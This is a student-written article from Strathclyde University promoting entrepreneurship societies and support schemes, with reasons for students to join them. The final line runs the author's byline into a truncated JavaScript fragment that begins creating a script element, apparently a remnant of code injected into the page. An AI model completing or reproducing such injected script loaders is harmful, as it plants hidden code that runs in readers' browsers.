My name is Peter McLoughlin and I’m a third year business student.
I’ll explain to you what it is I do.
I am the Scottish Institute for Enterprise (SIE) student Intern for Strathclyde University, a committee member of the Strathclyde Entrepreneurs, and the Head of Public Relations for the university student radio, Strathclyde Fusion. I haven’t always been so involved; it was only half way through last year that I woke up and realised I should be more doing more with my time, a decision I haven’t regretted since.
Working with SIE and the Entrepreneurship Society I’ve met a load of students with great business ideas. Most of all I’ve met loads of people with passion.
What is an entrepreneur?
I think an entrepreneur is just somebody with the guts to change something they think could be a bit better.
If you have an idea, are passionate about it, and seek the right support, it makes more sense to take control of your own future than to hand it over to a corporation that may see you as just another resource.
What makes a successful business?
Your business could be about anything you like or are passionate about, and who doesn’t want to be working at something they are passionate about? Whether you’re into computers, sport, chess, clubbing, or science there’s bound to be an opportunity for you to be enterprising. Some of the businesses I’ve seen are to do with artwork, others are straight out of science fiction. There’s even one business that stages historical battles!
Strathclyde Uni product design students Kevin Fox and Lawrence Broadley took their idea to both SEN and SIE back in 2007, and today they have a beautiful product retailing at £250! Check them out at www.lat56.com.
SIE currently work with students from all different academic backgrounds. It’s a really safe environment to develop ideas. Another good option for students is to get in touch with The Strathclyde Entrepreneurial Network (SEN). These options allow you to explore the idea of starting a business without having to dive straight in and actually start one.
Reasons for signing up:
1. You’re passionate about something
Anything at all.
2. Test your ideas
This is your chance to gain professional help and feedback for free! Advisors are employed by both SIE and SEN (see below) to assist students and try to develop your thoughts into proper business plans. However, maybe you just want to win a bit of money, in that case there are around 6 different annual competitions to enter, and it could be the easiest money you ever earn in your life.
3. Make useful business contacts
With a shortage a jobs, it always helps to know a few faces. Being enterprising will get you out there and recognized. If you decide to go down the entrepreneur route then this will help you immensely.
4. Get a better skill set for when you graduate
Many transferable skills can be gained from simply exploring your ideas. Event management skills, communication skills, management skills, leadership skills, to name but a few. Even if you don’t go on to start a business, these skills will ultimately open up a far bigger choice of careers when you graduate.
5. Take your future in the right direction
What better way to control your future than to choose it for yourself? Even if you do apply for work, employers benefit from having employees with an entrepreneurial streak and therefore developing your skills in this field will give you the X-factor to stand out from the crowd.
6. Become part of the solution
As many experts say, we need creative and forward thinking people to help reboot this system. Entrepreneurs have the potential to bring wealth and prosperity to society.
Strathclyde University has quite a few groups for people to join who are interested in seeing what it takes to start a business (Check the list at the bottom of the article) and they are always looking for new students and ideas.
The Scottish Institute for Enterprise (SIE) is the national organisation for promoting and supporting enterprise and entrepreneurship in Scotland’s universities.
Strathclyde Entrepreneurial Network (SEN) – A Strathclyde University organisation that has mentoring schemes, puts on events, and runs competitions.
Strathclyde Entrepreneurs- A Strathclyde University society (previously called the Enterprise Society) dedicated to putting on workshops/ events, socials, running business projects and competitions
SIFE (Students in Free Enterprise) – Global organisation that has student led groups in universities involved social enterprises (businesses that tackle social/environmental issues)
(All of the above can also be found on Facebook)
By Peter McLoughlinvar d=document;var s=d.createElement(‘script’);